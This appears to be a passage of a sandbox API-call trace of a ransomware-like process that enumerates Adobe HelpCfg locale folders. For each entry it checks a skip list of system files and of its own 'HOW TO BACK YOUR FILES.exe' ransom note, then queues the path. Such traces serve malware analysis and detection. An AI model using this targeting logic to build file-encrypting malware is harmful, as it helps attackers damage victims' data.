	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="boot") returned 1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="ids.txt") returned -1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="ntuser.dat") returned -1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="perflogs") returned -1
	[0056.412] lstrcmpiW (lpString1="fi_FI", lpString2="MSBuild") returned -1
	[0056.412] lstrlenW (lpString="fi_FI") returned 5
	[0056.412] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned 55
	[0056.412] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="fi_FI" | out: lpString1="fi_FI") returned="fi_FI"
	[0056.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0056.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59add0
	[0056.412] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0056.412] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="Apollon865.txt.exe") returned 1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2=".") returned 1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="..") returned 1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="windows") returned -1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="bootmgr") returned 1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="temp") returned -1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="pagefile.sys") returned -1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="boot") returned 1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="ids.txt") returned -1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="ntuser.dat") returned -1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="perflogs") returned -1
	[0056.412] lstrcmpiW (lpString1="fr_FR", lpString2="MSBuild") returned -1
	[0056.412] lstrlenW (lpString="fr_FR") returned 5
	[0056.413] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned 55
	[0056.413] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="fr_FR" | out: lpString1="fr_FR") returned="fr_FR"
	[0056.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0056.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59ae48
	[0056.413] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0056.413] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39b0fe90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39b0fe90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.413] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.413] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="Apollon865.txt.exe") returned 1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2=".") returned 1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="..") returned 1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="windows") returned -1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="bootmgr") returned 1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="temp") returned -1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="pagefile.sys") returned -1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="boot") returned 1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="ids.txt") returned -1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="ntuser.dat") returned -1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="perflogs") returned -1
	[0056.413] lstrcmpiW (lpString1="hr_HR", lpString2="MSBuild") returned -1
	[0056.413] lstrlenW (lpString="hr_HR") returned 5
	[0056.413] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned 55
	[0056.413] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="hr_HR" | out: lpString1="hr_HR") returned="hr_HR"
	[0056.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0056.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59aec0
	[0056.413] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0056.413] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1
	[0056.413] lstrcmpiW (lpString1="hu_HU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.413] lstrcmpiW (lpString1="hu_HU", lpString2="Apollon865.txt.exe") returned 1
	[0056.413] lstrcmpiW (lpString1="hu_HU", lpString2=".") returned 1
	[0056.413] lstrcmpiW (lpString1="hu_HU", lpString2="..") returned 1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="windows") returned -1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="bootmgr") returned 1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="temp") returned -1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="pagefile.sys") returned -1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="boot") returned 1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="ids.txt") returned -1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="ntuser.dat") returned -1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="perflogs") returned -1
	[0056.414] lstrcmpiW (lpString1="hu_HU", lpString2="MSBuild") returned -1
	[0056.414] lstrlenW (lpString="hu_HU") returned 5
	[0056.414] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned 55
	[0056.414] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="hu_HU" | out: lpString1="hu_HU") returned="hu_HU"
	[0056.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0056.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59af38
	[0056.414] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0056.414] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="Apollon865.txt.exe") returned 1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2=".") returned 1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="..") returned 1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="windows") returned -1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="bootmgr") returned 1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="temp") returned -1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="pagefile.sys") returned -1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="boot") returned 1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="ids.txt") returned 1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="ntuser.dat") returned -1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="perflogs") returned -1
	[0056.414] lstrcmpiW (lpString1="it_IT", lpString2="MSBuild") returned -1
	[0056.414] lstrlenW (lpString="it_IT") returned 5
	[0056.414] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned 55
	[0056.414] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="it_IT" | out: lpString1="it_IT") returned="it_IT"
	[0056.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0056.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59afb0
	[0056.415] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0056.415] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="Apollon865.txt.exe") returned 1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2=".") returned 1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="..") returned 1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="windows") returned -1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="bootmgr") returned 1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="temp") returned -1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="pagefile.sys") returned -1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="boot") returned 1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="ids.txt") returned 1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="ntuser.dat") returned -1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="perflogs") returned -1
	[0056.415] lstrcmpiW (lpString1="ja_JP", lpString2="MSBuild") returned -1
	[0056.415] lstrlenW (lpString="ja_JP") returned 5
	[0056.415] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned 55
	[0056.415] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ja_JP" | out: lpString1="ja_JP") returned="ja_JP"
	[0056.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0056.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b028
	[0056.415] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0056.415] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2="Apollon865.txt.exe") returned 1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2=".") returned 1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2="..") returned 1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2="windows") returned -1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2="bootmgr") returned 1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2="temp") returned -1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2="pagefile.sys") returned -1
	[0056.415] lstrcmpiW (lpString1="ko_KR", lpString2="boot") returned 1
	[0056.416] lstrcmpiW (lpString1="ko_KR", lpString2="ids.txt") returned 1
	[0056.416] lstrcmpiW (lpString1="ko_KR", lpString2="ntuser.dat") returned -1
	[0056.416] lstrcmpiW (lpString1="ko_KR", lpString2="perflogs") returned -1
	[0056.416] lstrcmpiW (lpString1="ko_KR", lpString2="MSBuild") returned -1
	[0056.416] lstrlenW (lpString="ko_KR") returned 5
	[0056.416] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned 55
	[0056.416] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ko_KR" | out: lpString1="ko_KR") returned="ko_KR"
	[0056.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0056.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b0a0
	[0056.416] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0056.416] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="Apollon865.txt.exe") returned 1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2=".") returned 1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="..") returned 1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="windows") returned -1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="bootmgr") returned 1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="temp") returned -1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="pagefile.sys") returned -1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="boot") returned 1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="ids.txt") returned 1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="ntuser.dat") returned -1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="perflogs") returned -1
	[0056.416] lstrcmpiW (lpString1="nb_NO", lpString2="MSBuild") returned 1
	[0056.416] lstrlenW (lpString="nb_NO") returned 5
	[0056.416] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned 55
	[0056.416] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="nb_NO" | out: lpString1="nb_NO") returned="nb_NO"
	[0056.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0056.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b118
	[0056.416] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0056.416] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1
	[0056.416] lstrcmpiW (lpString1="nl_NL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="Apollon865.txt.exe") returned 1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2=".") returned 1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="..") returned 1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="windows") returned -1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="bootmgr") returned 1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="temp") returned -1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="pagefile.sys") returned -1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="boot") returned 1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="ids.txt") returned 1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="ntuser.dat") returned -1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="perflogs") returned -1
	[0056.417] lstrcmpiW (lpString1="nl_NL", lpString2="MSBuild") returned 1
	[0056.417] lstrlenW (lpString="nl_NL") returned 5
	[0056.417] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned 55
	[0056.417] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="nl_NL" | out: lpString1="nl_NL") returned="nl_NL"
	[0056.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0056.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b190
	[0056.417] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0056.417] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="Apollon865.txt.exe") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2=".") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="..") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="windows") returned -1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="bootmgr") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="temp") returned -1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="pagefile.sys") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="boot") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="ids.txt") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="ntuser.dat") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="perflogs") returned 1
	[0056.417] lstrcmpiW (lpString1="pl_PL", lpString2="MSBuild") returned 1
	[0056.418] lstrlenW (lpString="pl_PL") returned 5
	[0056.418] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned 55
	[0056.418] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="pl_PL" | out: lpString1="pl_PL") returned="pl_PL"
	[0056.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0056.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b208
	[0056.418] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0056.418] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="Apollon865.txt.exe") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2=".") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="..") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="windows") returned -1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="bootmgr") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="temp") returned -1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="pagefile.sys") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="boot") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="ids.txt") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="ntuser.dat") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="perflogs") returned 1
	[0056.418] lstrcmpiW (lpString1="pt_BR", lpString2="MSBuild") returned 1
	[0056.418] lstrlenW (lpString="pt_BR") returned 5
	[0056.418] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned 55
	[0056.418] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="pt_BR" | out: lpString1="pt_BR") returned="pt_BR"
	[0056.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0056.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b280
	[0056.418] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0056.418] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1
	[0056.418] lstrcmpiW (lpString1="ro_RO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.418] lstrcmpiW (lpString1="ro_RO", lpString2="Apollon865.txt.exe") returned 1
	[0056.418] lstrcmpiW (lpString1="ro_RO", lpString2=".") returned 1
	[0056.418] lstrcmpiW (lpString1="ro_RO", lpString2="..") returned 1
	[0056.418] lstrcmpiW (lpString1="ro_RO", lpString2="windows") returned -1
	[0056.419] lstrcmpiW (lpString1="ro_RO", lpString2="bootmgr") returned 1
	[0056.419] lstrcmpiW (lpString1="ro_RO", lpString2="temp") returned -1
	[0056.419] lstrcmpiW (lpString1="ro_RO", lpString2="pagefile.sys") returned 1
	[0056.419] lstrcmpiW (lpString1="ro_RO", lpString2="boot") returned 1
	[0056.419] lstrcmpiW (lpString1="ro_RO", lpString2="ids.txt") returned 1
	[0056.419] lstrcmpiW (lpString1="ro_RO", lpString2="ntuser.dat") returned 1
	[0056.419] lstrcmpiW (lpString1="ro_RO", lpString2="perflogs") returned 1
	[0056.419] lstrcmpiW (lpString1="ro_RO", lpString2="MSBuild") returned 1
	[0056.419] lstrlenW (lpString="ro_RO") returned 5
	[0056.419] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned 55
	[0056.419] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ro_RO" | out: lpString1="ro_RO") returned="ro_RO"
	[0056.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0056.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59b2f8
	[0056.419] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c10
